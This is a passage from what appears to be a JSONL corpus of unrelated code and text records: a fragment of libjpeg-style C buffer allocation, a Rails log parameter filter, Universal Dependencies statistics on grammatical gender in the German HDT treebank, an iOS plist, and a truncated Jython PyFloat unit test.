JERR_BAD_BUFFER_MODE);\n\n /* Allocate the workspace.\n * ngroups is the number of row groups we need.\n */\n if (cinfo->upsample->need_context_rows) {\n if (cinfo->min_codec_data_unit < 2) /* unsupported, see comments above */\n ERREXIT(cinfo, JERR_NOTIMPL);\n alloc_funny_pointers(cinfo); /* Alloc space for xbuffer[] lists */\n ngroups = cinfo->min_codec_data_unit + 2;\n } else {\n ngroups = cinfo->min_codec_data_unit;\n }\n\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n rgroup = (compptr->v_samp_factor * compptr->codec_data_unit) /\n cinfo->min_codec_data_unit; /* height of a row group of component */\n mymain->buffer[ci] = (*cinfo->mem->alloc_sarray)\n ((j_common_ptr) cinfo, JPOOL_IMAGE,\n compptr->width_in_data_units * (JDIMENSION) compptr->codec_data_unit,\n (JDIMENSION) (rgroup * ngroups));\n }\n}\n"} {"text": "# Be sure to restart your server when you modify this file.\n\n# Configure sensitive parameters which will be filtered from the log file.\nRails.application.config.filter_parameters += [:password]\n"} {"text": "---\nlayout: base\ntitle: 'Statistics of Gender in UD_German-HDT'\nudver: '2'\n---\n\n## Treebank Statistics: UD_German-HDT: Features: `Gender`\n\nThis feature is universal.\nIt occurs with 3 different values: `Fem`, `Masc`, `Neut`.\n\n1188303 tokens (35%) have a non-empty value of `Gender`.\n116383 types (62%) occur at least once with a non-empty value of `Gender`.\n18905 lemmas (27%) occur at least once with a non-empty value of `Gender`.\nThe feature is used with 9 part-of-speech tags: <tt><a href=\"de_hdt-pos-NOUN.html\">NOUN</a></tt> (684409; 20% instances), <tt><a href=\"de_hdt-pos-DET.html\">DET</a></tt> (314867; 9% instances), <tt><a href=\"de_hdt-pos-ADJ.html\">ADJ</a></tt> (85274; 3% instances), <tt><a href=\"de_hdt-pos-PRON.html\">PRON</a></tt> (67475; 2% instances), <tt><a href=\"de_hdt-pos-PROPN.html\">PROPN</a></tt> (27734; 1% instances), <tt><a href=\"de_hdt-pos-ADP.html\">ADP</a></tt> (8332; 0% instances), <tt><a href=\"de_hdt-pos-X.html\">X</a></tt> (178; 0% instances), <tt><a href=\"de_hdt-pos-ADV.html\">ADV</a></tt> (33; 0% instances), <tt><a href=\"de_hdt-pos-SCONJ.html\">SCONJ</a></tt> (1; 0% instances).\n\n### `NOUN`\n\n684409 <tt><a href=\"de_hdt-pos-NOUN.html\">NOUN</a></tt> tokens (94% of all `NOUN` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `NOUN` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-Person.html\">Person</a></tt><tt>=3</tt> (684409; 100%), <tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=EMPTY</tt> (610243; 89%), <tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt> (450013; 66%).\n\n`NOUN` tokens may have the following values of `Gender`:\n\n* `Fem` (270252; 39% of non-empty `Gender`): <em>Millionen, Mark, Milliarden, Firma, Angaben, Software, Zeit, Firmen, Version, Informationen</em>\n* `Masc` (249767; 36% of non-empty `Gender`): <em>US-Dollar, Euro, Markt, Dollar, Hersteller, Umsatz, Computer, Preis, Anfang, Mitarbeiter</em>\n* `Neut` (164390; 24% of non-empty `Gender`): <em>Prozent, Internet, Unternehmen, Jahr, Ende, Quartal, Jahres, Jahren, Netz, Daten</em>\n* `EMPTY` (44695): <em>Kunden, Teil, Pentium, Kunde, Teile, Steuern, Befragten, Beschäftigten, informations-, Angestellten</em>\n\n<table>\n <tr><th>Paradigm <i>Vorsitzend</i></th><th><tt>Masc</tt></th><th><tt>Fem</tt></th><th><tt>Neut</tt></th></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt></tt></td><td><em>Vorsitzenden, Vorstandsvorsitzenden, Aufsichtsratsvorsitzenden, Bertelsmann-Vorstandsvorsitzenden, Mannesmann-Aufsichtsratsvorsitzenden, Mannesmann-Betriebsratsvorsitzenden, NPD-Vorsitzenden, Topware-Vorstandsvorsitzenden, Vorstandvorsitzenden</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt></tt></td><td><em>Vorsitzende, Vorstandsvorsitzende, Vorsitzender, Vorstandsvorsitzender, Aufsichtsratsvorsitzende, Aufsichtsratsvorsitzender, Bundesvorsitzende, Geschäftsführungsvorsitzende, VDE-Vorsitzende, Verbandsvorsitzende, Verwaltungsratsvorsitzende, ARD-Vorsitzende, Bertelsmann-Vorstandsvorsitzender, Betriebsrats-Vorsitzende, Geschäftsführungsvorsitzender, Kommissionsvorsitzende, Mannesmann-Vorstandsvorsitzende, Verbandsvorsitzender, Verwaltungsratsvorsitzender, Vizevorsitzender, (Konzern)-Vorsitzender, Agfa-Vorstandsvorsitzende, Arcor-Vorstandsvorsitzende, Arcor-Vorstandsvorsitzender, Ausschussvorsitzende, Ausschußvorsitzende, BIGES-Vorsitzende, BVB-Vorstandsvorsitzende, Beirats-Vorsitzender, Beiratsvorsitzender, Betriebsratsvorsitzende, Betriebsratsvorsitzender, BinTec-Aufsichtsratsvorsitzende, BvD-Vorsitzende, CDU-Fraktionsvorsitzende, CDU-Fraktionsvorsitzender, CDU-Vorsitzende, CDU/CSU-Fraktionsvorsitzende, CIS-Vorstandsvorsitzender, Clubvorsitzender, Coalition-Vorsitzende, DIZ-Verwaltungsratsvorsitzende, DJV-Bundesvorsitzende, DPG-Vizevorsitzende, DVPT-Vorsitzende, Datev-Vorsitzende, Debitel-Vorstandsvorsitzende, Edizione-Vorstandsvorsitzende, FAZ-Aufsichtsratsvorsitzende, FCC-Vorsitzende, FTC-Vorsitzende, Fraktionsvorsitzende, Fraktionsvorsitzender, Freenet-Vorstandsvorsitzender, GEMA-Vorsitzende, GdP-Vorsitzende, Gema-Aufsichtsrats-Vorsitzende, Gesamtbetriebsratsvorsitzende, Gewerkschaftsvorsitzende, Gfu-Aufsichtsratsvorsitzende, IG-Metall-Vorsitzende, ITG-Vorsitzende, ITXC-Vorsitzende, Infineon-Vorstandsvorsitzende, Intel-Vorsitzende, Intel-Vorstandsvorsitzende, Jenoptik-Vorstandsvorsitzender, LIBRO-Vorstandsvorsitzende, Landesbezirksvorsitzender, Landesvorsitzende, Landesvorsitzender, Live-Vorsitzende, Mannesmann-Vorstandsvorsitzender, Messevorstandsvorsitzende, Mobilcom-Vorstandsvorsitzender, Parteivorsitzender, Plus-Vorstandsvorsitzender, ProSieben-Vorstandsvorsitzende, Prozeßvorsitzende, SIA-Vorsitzender, Teles-Vorstandsvorsitzende, VSI-Vorsitzende, Verbands-Vorsitzende, Vizevorsitzende, Vobis-Vorstandsvorsitzender, Vorstands-Vorsitzende, Vorstandvorsitzende, W3C-Vorstandsvorsitzende</em></td><td></td><td></td></tr>\n <tr><td><tt></tt></td><td></td><td><em>Vorsitzende, Vorstandsvorsitzende, Fraktionsvorsitzende, Vorsitzender, Bundeselternratsvorsitzende, Bundesvorsitzende, CDU-Landesvorsitzende, CDU-Vorsitzende, CDU-Vorsitzender, DGB-Vorsitzende, Grünen-Fraktionsvorsitzende, ICANN-Interimsvorsitzende, ICANN-Vorsitzende, Interims-Boardvorsitzende, Interimsvorsitzende, PDS-Vorsitzende, Parteivorsitzende, Vize-Vorsitzende, Vorstandsvorsitzender</em></td><td><em>Vorsitzendes, Vorstandsvorsitzendes</em></td></tr>\n</table>\n\n`Gender` seems to be **lexical feature** of `NOUN`. 99% lemmas (11246) occur only with one value of `Gender`.\n\n### `DET`\n\n314867 <tt><a href=\"de_hdt-pos-DET.html\">DET</a></tt> tokens (78% of all `DET` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `DET` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt> (314849; 100%), <tt><a href=\"de_hdt-feat-PronType.html\">PronType</a></tt><tt>=Art</tt> (298827; 95%).\n\n`DET` tokens may have the following values of `Gender`:\n\n* `Fem` (144748; 46% of non-empty `Gender`): <em>die, der, eine, einer, diese, dieser, keine, jede, aller, einiger</em>\n* `Masc` (102680; 33% of non-empty `Gender`): <em>der, den, des, dem, einen, ein, einem, eines, diesem, keinen</em>\n* `Neut` (67439; 21% of non-empty `Gender`): <em>das, ein, des, dem, einem, dieses, diesem, eines, kein, jedes</em>\n* `EMPTY` (88917): <em>die, der, den, alle, keine, diese, mehr, einige, deren, allen</em>\n\n<table>\n <tr><th>Paradigm <i>dies</i></th><th><tt>Masc</tt></th><th><tt>Fem</tt></th><th><tt>Neut</tt></th></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>diesen</em></td><td><em>diese</em></td><td><em>dieses</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td><em>diese</em></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Dat</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>diesem</em></td><td><em>dieser</em></td><td><em>diesem</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Gen</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>dieses</em></td><td><em>dieser</em></td><td><em>dieses, diesen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Gen</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td><em>dieser</em></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt>|<tt><a href=\"de_hdt-feat-Person.html\">Person</a></tt><tt>=3</tt></tt></td><td></td><td></td><td><em>dies</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>dieser</em></td><td><em>diese</em></td><td><em>dieses</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td><em>diese</em></td><td></td></tr>\n</table>\n\n### `ADJ`\n\n85274 <tt><a href=\"de_hdt-pos-ADJ.html\">ADJ</a></tt> tokens (32% of all `ADJ` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `ADJ` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-Variant.html\">Variant</a></tt><tt>=EMPTY</tt> (85273; 100%), <tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt> (75994; 89%), <tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt> (73887; 87%), <tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=EMPTY</tt> (56943; 67%).\n\n`ADJ` tokens may have the following values of `Gender`:\n\n* `Fem` (38921; 46% of non-empty `Gender`): <em>neue, deutsche, erste, weitere, eigene, große, nächste, deutschen, andere, digitale</em>\n* `Masc` (26985; 32% of non-empty `Gender`): <em>neuen, neue, ersten, neuer, deutsche, deutschen, großen, größte, erste, eigenen</em>\n* `Neut` (19368; 23% of non-empty `Gender`): <em>neue, neues, erste, weiteres, ersten, laufende, neuen, eigenes, erstes, zweite</em>\n* `EMPTY` (183319): <em>neuen, ersten, deutschen, neue, anderen, viele, vergangenen, eigenen, letzten, nächsten</em>\n\n<table>\n <tr><th>Paradigm <i>neu</i></th><th><tt>Masc</tt></th><th><tt>Fem</tt></th><th><tt>Neut</tt></th></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neuen</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neuen</em></td><td><em>neuen</em></td><td><em>neuen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Cmp</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neueren</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neuesten</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neuesten</em></td><td><em>neuesten, neusten</em></td><td><em>neuesten, neusten</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Dat</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neuen</em></td><td><em>neuen</em></td><td><em>neuen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Dat</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Cmp</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neueren</em></td><td><em>neueren</em></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Dat</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td><em>neuesten</em></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Gen</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neuen, neuer</em></td><td><em>neuer, neuen</em></td><td><em>neuer, neuen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neue, neuer</em></td><td></td><td><em>neues</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neuen</em></td><td><em>neuen</em></td><td><em>neuen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Cmp</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neuere, neuerer</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Cmp</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neueren</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neueste, neuester, neuste</em></td><td></td><td></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt>|<tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td></td><td><em>neuesten</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neuen</em></td><td><em>neue, neuen, neuer</em></td><td><em>neues, neue, neuen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Pos</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td><em>neue</em></td><td><em>neue, neuen</em></td><td><em>neue, neuen</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Cmp</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neueren</em></td><td><em>neuere, neueren, neuerer</em></td><td><em>neuere, neueres</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Cmp</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td><em>Neuere</em></td><td><em>Neuere</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt></tt></td><td><em>neuesten</em></td><td><em>neueste, neuesten, neuester, neusten</em></td><td><em>neueste, neuestes, neuesten</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Degree.html\">Degree</a></tt><tt>=Sup</tt>|<tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Plur</tt></tt></td><td></td><td><em>neueste</em></td><td></td></tr>\n</table>\n\n### `PRON`\n\n67475 <tt><a href=\"de_hdt-pos-PRON.html\">PRON</a></tt> tokens (54% of all `PRON` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `PRON` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-Reflex.html\">Reflex</a></tt><tt>=EMPTY</tt> (67475; 100%), <tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt> (67314; 100%), <tt><a href=\"de_hdt-feat-Person.html\">Person</a></tt><tt>=3</tt> (66561; 99%), <tt><a href=\"de_hdt-feat-Poss.html\">Poss</a></tt><tt>=EMPTY</tt> (55188; 82%), <tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt> (39469; 58%), <tt><a href=\"de_hdt-feat-PronType.html\">PronType</a></tt><tt>=Prs</tt> (35095; 52%).\n\n`PRON` tokens may have the following values of `Gender`:\n\n* `Fem` (15238; 23% of non-empty `Gender`): <em>die, sie, seiner, seine, ihre, der, ihrer, diese, eine, unsere</em>\n* `Masc` (16792; 25% of non-empty `Gender`): <em>er, der, seinen, dem, ihren, den, seinem, ihn, einer, anderem</em>\n* `Neut` (35445; 53% of non-empty `Gender`): <em>es, das, allem, dies, was, mehr, anderem, dem, sein, ihr</em>\n* `EMPTY` (57966): <em>sich, die, man, sie, wir, ihre, seine, wer, denen, ich</em>\n\n<table>\n <tr><th>Paradigm <i>sein</i></th><th><tt>Masc</tt></th><th><tt>Fem</tt></th><th><tt>Neut</tt></th></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Acc</tt></tt></td><td><em>seinen, ihren</em></td><td><em>seine, ihre, ihrer</em></td><td><em>sein, ihr</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Dat</tt></tt></td><td><em>seinem, ihrem</em></td><td><em>seiner, ihrer</em></td><td><em>seinem, ihrem</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Gen</tt></tt></td><td><em>seines, ihres</em></td><td><em>seiner, ihrer</em></td><td><em>seines, ihres</em></td></tr>\n <tr><td><tt><tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Nom</tt></tt></td><td><em>sein, ihr</em></td><td><em>seine, ihre</em></td><td><em>sein, ihr</em></td></tr>\n</table>\n\n### `PROPN`\n\n27734 <tt><a href=\"de_hdt-pos-PROPN.html\">PROPN</a></tt> tokens (14% of all `PROPN` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `PROPN` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-Person.html\">Person</a></tt><tt>=3</tt> (27734; 100%), <tt><a href=\"de_hdt-feat-Number.html\">Number</a></tt><tt>=Sing</tt> (27723; 100%), <tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=EMPTY</tt> (25168; 91%).\n\n`PROPN` tokens may have the following values of `Gender`:\n\n* `Fem` (15265; 55% of non-empty `Gender`): <em>Telekom, c't, Europa, AMD, Sun, Telecom, T-Online, Bertelsmann, dpa, Viag</em>\n* `Masc` (12440; 45% of non-empty `Gender`): <em>Bill, Warner, Michael, Thomas, Steve, Ron, John, Jackson, Gerhard, Peter</em>\n* `Neut` (29; 0% of non-empty `Gender`): <em>AppleStore, PowerBooks, KurzFilmFestival, PowerBook, RealVideo, BusinessCall, Deutschland, FeRAMs, G3-PowerBook, InternetTeam</em>\n* `EMPTY` (166258): <em>Microsoft, Deutschland, Intel, USA, AOL, ibm, telepolis, Apple, Linux, Windows</em>\n\n<table>\n <tr><th>Paradigm <i>Nylis</i></th><th><tt>Masc</tt></th><th><tt>Fem</tt></th></tr>\n <tr><td><tt></tt></td><td><em>Nylis</em></td><td><em>Nylis</em></td></tr>\n</table>\n\n`Gender` seems to be **lexical feature** of `PROPN`. 100% lemmas (1583) occur only with one value of `Gender`.\n\n### `ADP`\n\n8332 <tt><a href=\"de_hdt-pos-ADP.html\">ADP</a></tt> tokens (2% of all `ADP` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `ADP` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-AdpType.html\">AdpType</a></tt><tt>=Prep</tt> (8331; 100%), <tt><a href=\"de_hdt-feat-PronType.html\">PronType</a></tt><tt>=Art</tt> (8331; 100%), <tt><a href=\"de_hdt-feat-Case.html\">Case</a></tt><tt>=Dat</tt> (6150; 74%).\n\n`ADP` tokens may have the following values of `Gender`:\n\n* `Fem` (6149; 74% of non-empty `Gender`): <em>zur</em>\n* `Masc` (1; 0% of non-empty `Gender`): <em>im</em>\n* `Neut` (2182; 26% of non-empty `Gender`): <em>ins, fürs, ans, übers, aufs, ums, durchs, unters, hinters, vors</em>\n* `EMPTY` (377392): <em>in, von, mit, für, auf, im, bei, an, nach, zu</em>\n\n`Gender` seems to be **lexical feature** of `ADP`. 100% lemmas (20) occur only with one value of `Gender`.\n\n### `X`\n\n178 <tt><a href=\"de_hdt-pos-X.html\">X</a></tt> tokens (0% of all `X` tokens) have a non-empty value of `Gender`.\n\nThe most frequent other feature values with which `X` and `Gender` co-occurred: <tt><a href=\"de_hdt-feat-Foreign.html\">Foreign</a></tt><tt>=Yes</tt> (178; 100%), <tt><a href=\"de_hdt-feat-Person.html\">Person</a></tt><tt>=3</tt> (178; 100%).\n\n`X` tokens may have the following values of `Gender`:\n\n* `Neut` (178; 100% of non-empty `Gender`): <em>Inc., Corp.</em>\n* `EMPTY` (53535): <em>of, internet, the, and, digital, mobile, media, for, OS, network</em>\n\n### `ADV`\n\n33 <tt><a href=\"de_hdt-pos-ADV.html\">ADV</a></tt> tokens (0% of all `ADV` tokens) have a non-empty value of `Gender`.\n\n`ADV` tokens may have the following values of `Gender`:\n\n* `Neut` (33; 100% of non-empty `Gender`): <em>bisschen, bißchen, erstenmal</em>\n* `EMPTY` (194315): <em>auch, noch, nur, so, aber, bereits, allerdings, mehr, damit, schon</em>\n\n### `SCONJ`\n\n1 <tt><a href=\"de_hdt-pos-SCONJ.html\">SCONJ</a></tt> tokens (0% of all `SCONJ` tokens) have a non-empty value of `Gender`.\n\n`SCONJ` tokens may have the following values of `Gender`:\n\n* `Neut` (1; 100% of non-empty `Gender`): <em>dass</em>\n* `EMPTY` (29441): <em>dass, um, wenn, ob, daß, da, während, weil, nachdem, als</em>\n\n## Relations with Agreement in `Gender`\n\nThe 10 most frequent relations where parent and child node agree in `Gender`:\n<tt>NOUN --[<tt><a href=\"de_hdt-dep-det.html\">det</a></tt>]--> DET</tt> (276915; 75%),\n<tt>NOUN --[<tt><a href=\"de_hdt-dep-det.html\">det</a></tt>]--> PRON</tt> (11605; 67%),\n<tt>PRON --[<tt><a href=\"de_hdt-dep-nmod.html\">nmod</a></tt>]--> NOUN</tt> (1382; 55%),\n<tt>ADJ --[<tt><a href=\"de_hdt-dep-det.html\">det</a></tt>]--> DET</tt> (631; 52%),\n<tt>ADJ --[<tt><a href=\"de_hdt-dep-conj.html\">conj</a></tt>]--> ADJ</tt> (615; 77%),\n<tt>NOUN --[<tt><a href=\"de_hdt-dep-expl.html\">expl</a></tt>]--> PRON</tt> (251; 61%),\n<tt>PRON --[<tt><a href=\"de_hdt-dep-det.html\">det</a></tt>]--> DET</tt> (112; 72%),\n<tt>PRON --[<tt><a href=\"de_hdt-dep-nsubj.html\">nsubj</a></tt>]--> PRON</tt> (80; 54%),\n<tt>PRON --[<tt><a href=\"de_hdt-dep-nmod.html\">nmod</a></tt>]--> PRON</tt> (54; 56%),\n<tt>PRON --[<tt><a href=\"de_hdt-dep-conj.html\">conj</a></tt>]--> PRON</tt> (47; 61%).\n\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>BNDL</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleSignature</key>\n\t<string>????</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n</dict>\n</plist>\n"} {"text": "package org.python.core;\n\nimport junit.framework.TestCase;\n\npublic class PyFloatTest extends TestCase {\n\n private final static double nan = Double.NaN;\n\n private final static double inf = Double.POSITIVE_INFINITY;\n\n private final static double ninf = Double.NEGATIVE_INFINITY;\n\n /**\n * test the basic behavior of java.lang.Double extreme values\n */\n public void test_Double_InfinityAndNaN() {\n assertTrue(Double.NaN != nan); // this is the definition of NaN\n assertTrue(Double.isNaN(nan));\n assertFalse(Double.isInfinite(nan));\n assertTrue(Double.POSITIVE_INFINITY == inf);\n assertFalse(Double.isNaN(inf));\n assertTrue(Double.isInfinite(inf));\n assertTrue(Double.NEGATIVE_INFINITY == ninf);\n assertFalse(Double.isNaN(ninf));\n assertTrue(Double.isInfinite(ninf));\n assertTrue(nan != inf);\n assertTrue(nan != ninf);\n assertTrue(inf != ninf);\n }\n\n /**\n * test extreme values\n */\n public void testInfinityAndNaN() {\n PyFloat fNan = new PyFloat(Double.NaN);\n PyFloat fInf = new PyFloat(Double.POSITIVE_INFINITY);\n PyFloat fNinf = new PyFloat(Double.NEGATIVE_INFINITY);\n assertTrue(Double.NaN != fNan.getValue()); // this is the definition of NaN\n assertTrue(Double.isNaN(fNan.getValue()));\n assertFalse(Double.isInfinite(fNan.getValue()));\n assertTrue(Double.POSITIVE_INFINITY == fInf.getValue());\n assertFalse(Double.isNaN(fInf.getValue()));\n assertTrue(Double.isInfinite(fInf.getValue()));\n assertTrue(Double.NEGATIVE_INFINITY == fNinf.getValue());\n assertFalse(Double.isNaN(fNinf.getValue()));\n assertTrue(Double.isInfinite(fNinf.getValue()));\n assertTrue(fNan.getValue() != 